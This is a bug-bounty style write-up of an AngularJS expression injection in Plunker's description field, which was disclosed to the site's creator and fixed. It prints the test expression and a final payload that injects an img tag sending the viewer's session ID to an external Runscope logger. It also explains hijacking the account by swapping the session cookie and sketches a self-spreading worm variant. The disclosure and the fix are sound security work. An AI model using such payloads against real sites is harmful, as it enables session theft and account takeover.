Exploiting Angular Expressions to Steal Session Tokens on Plunker
Lately, I’ve been been doing some research on the vulnerabilities happening with some AngularJS implementations. The biggest problem being: mixing server side templates with client side templates. This opens up the opportunity for user input to get into a server-side view, that is then sent client side, and then evaluated by AngularJS. This is similar to how a common XSS vulnerability happens. Nowadays everyone strips tags and filters for any javascript in any input. But here is the problem, Angular expressions are going to evade these filters all day long, because they aren’t raw Javascript...
I know what you are thinking “what sort of damage can be done with an Angular expression?”. Well thats what I’m going to show you. This is a good example of how a single expression can lead to an account being hijacked. This is the new age cookie stealing, but instead of using Javascript directly, we will use an Angular expression.
Analyzing the source
Lets first start by looking at Plunker's web app. Specifically the editor used when creating or modifying a Plunk. Viewing the source in Chrome Dev tools we can see that it starts by setting ng-app
on the html tag:
<html id="ng-app" ng-app="plunker.editorPage" lang="en" xmlns:ng="http://angularjs.org" class="ng-app:plunker.editorPage ng-scope">
This is important, because it tells use that everything within the HTML tags will usually be within an Angular scope and evaluated by Angular. So if we can get an expression in the HTML sent from the server, chances are it will execute. In Google Chrome you can see the difference between what is sent from the server and what is created by the client. For the server response just (Right-Click->View Page Source). For the source that is evaluated/created by the client, look at the Elements tab in Chrome Dev Tools. On sites that utilize Angular, you should see some noticeable differences. Angular expressions {{ expression }}
should be evaluated in the dev tools, in the page source from the server, they won’t be.
Finding the injection point
With that knowledge, we should be able to determine what user input is getting put into a server side view and what isn’t. We will also be able to do some testing to see if our expression evaluates by looking for it in the dev tools. Looking at the source of the page you should notice that the description of your Plunk goes into the Twitter title meta tag:
<meta name="twitter:title" content="This is your plunk description">
Now since this is within our HTML tag, we should be able to put an expression in our description and see it evaluate in our dev tools. Here is the expression I like to use to test for expression injections x{{1==1}}x
. I do this because it evaluates to xtruex
which is unique enough that I can find when I search the evaluated source. If I did {{1==1}}
, it would evaluate to true
which appears much more often and is a harder needle to find. Here is a where I entered this on the page in the editor:
After putting that as our description, we should see then server return it in the response (Right-Click->View Page Source):
<meta name="twitter:title" content="x{{1==1}}x">
But now if we open our dev tools and search for xtruex, we should find our evaluated expression like below:
Analyzing the scope
We know that the description field of our Plunk is vulnerable to an Angular Expression Injection. Anything we put in there will be evaluated by the user viewing our plunk. But what can we do with it? In this case, we can do a lot... But first, we need to look at what is available within the scope of this expression. Which would be everything inside of the HTML tag since we see ng-scope
as the class. To view everything in the scope, we can use the dev tools again. This time the Console tab. Angular provides an element()
function to select and wrap a DOM object and a method on it called scope()
. In the console we can type angular.element('html').scope()
and it will return the $scope
object for that element. You would see something like this:
There is a whole lot of data and functionality available to us within this scope. Anything within this scope, we can use in an Angular expression, granted there are some limitations. Right away I’m looking at the visitor and session objects in the scope. The visitor object contains some interesting data, here is what mine looks like:
And here is the output of my session object:
At this point we need to figure out how to get tokens out of the visitor object, and into our hands. Looking through everything that is available in the scope, I’m sure there is more than one way of doing this. For me, I like to see if I can make the user send a request to my Runscope account with the token. After looking into the session object, I saw session.activeBuffer.content
contained the HTML that was rendered in the preview pane of my current Plunk. If I could update that content with some HTML that would send a GET request to Runscope with the token as a parameter, I could capture the user’s token.
Exploiting the vulnerability
First thing I wanted to try to do is see if I could put the user’s session ID into session.activeBuffer.content
and see it appear in the preview. I tested that by using this expression {{session.activeBuffer.content=visitor.session.id}}
as the description and after refreshing the page, I saw this:
Look closely behind the shadow. It worked! Now we need to get that ID sent to our Runscope traffic logger. I did this by simply adding it as a GET parameter and putting it in an IMG tag. This was my final expression:
{{ session.activeBuffer.content = '<img src="//api-yourapihere-com-rpaem4urrlgf.runscope.net/?s=' + visitor.session.id + '">' }}
That expression will update the activeBuffer’s content with an image that has the user’s session ID added to the URL. When the page is loaded the browser makes a request for that image, which is then logged in my Runscope traffic logs. Here is what it looked like when the page was loaded, notice the broken image in the preview pane:
Finally, here is what was captured in Runscope. A GET request with my Session ID:
There you have it! An Angular Expression Injection vulnerability that was allowed us to steal a user’s session ID, which is used for account authentication. Now to gain access to the user’s account, all we need to do is update our plnk_session
cookie with the stolen session ID, refresh, and thats it! Session tokens/IDs are not always stored in a cookie. You’ll often find them in local/session storage too. In this case, it was in a cookie. After authenticating as this user, you could dump the same visitor object from earlier and grab their GitHub token that Plunker uses. But the only permission that Plunker is given is the ability to Create Gists on GitHub, so not much damage could be done. Still interesting to see that its available in the scope though!
Disclosure and Response
This was by far, the fastest fix I have seen after reporting a vulnerability. Elapsed time from disclosure to a deployed fix: 8 minutes. Yes, 8 minutes! Granted this was a super simple fix, but still impressive. I reached out to Geoff Goodman on Twitter (Creator of Plunker), sent him a DM with the details on vulnerability, and the expression payload I used. He thanked me, and fixed it very quickly by adding the ng-non-bindable
directive to the Twitter meta tags we were putting our Angular expression in:
<meta name="twitter:title" ng-non-bindable content="x{{1==1}}x">
This will prevent Angular from evaluating any expressions in that tag. Another way this could have been fixed would have been to move ng-app
to the body tag instead of having it on the HTML tag since there wasn’t any Angular usage in the head of the page anyways.
Summary
This is not the only Angular Expression Injection vulnerability I have found. I have a few others that I will be doing write-ups on after they have been fixed. They are not all as severe as this one. Some end up being harmless and are self-only vulnerabilities. Others can force users to make API calls within the application that could be turned into a wormable exploit within the site. For example, imagine if we crafted an expression on Plunker that not only stole the users session ID, but also created a public Plunk on their behalf with the malicious expression as the description… Then if someone viewed their plunk, the same would happen to them, and it would continue to replicate. I’m sure if we dug deeper in the Plunker scope, it would have been possible.
Angular expressions are powerful and if you let a malicious user’s expression end up in your HTML, bad things can happen!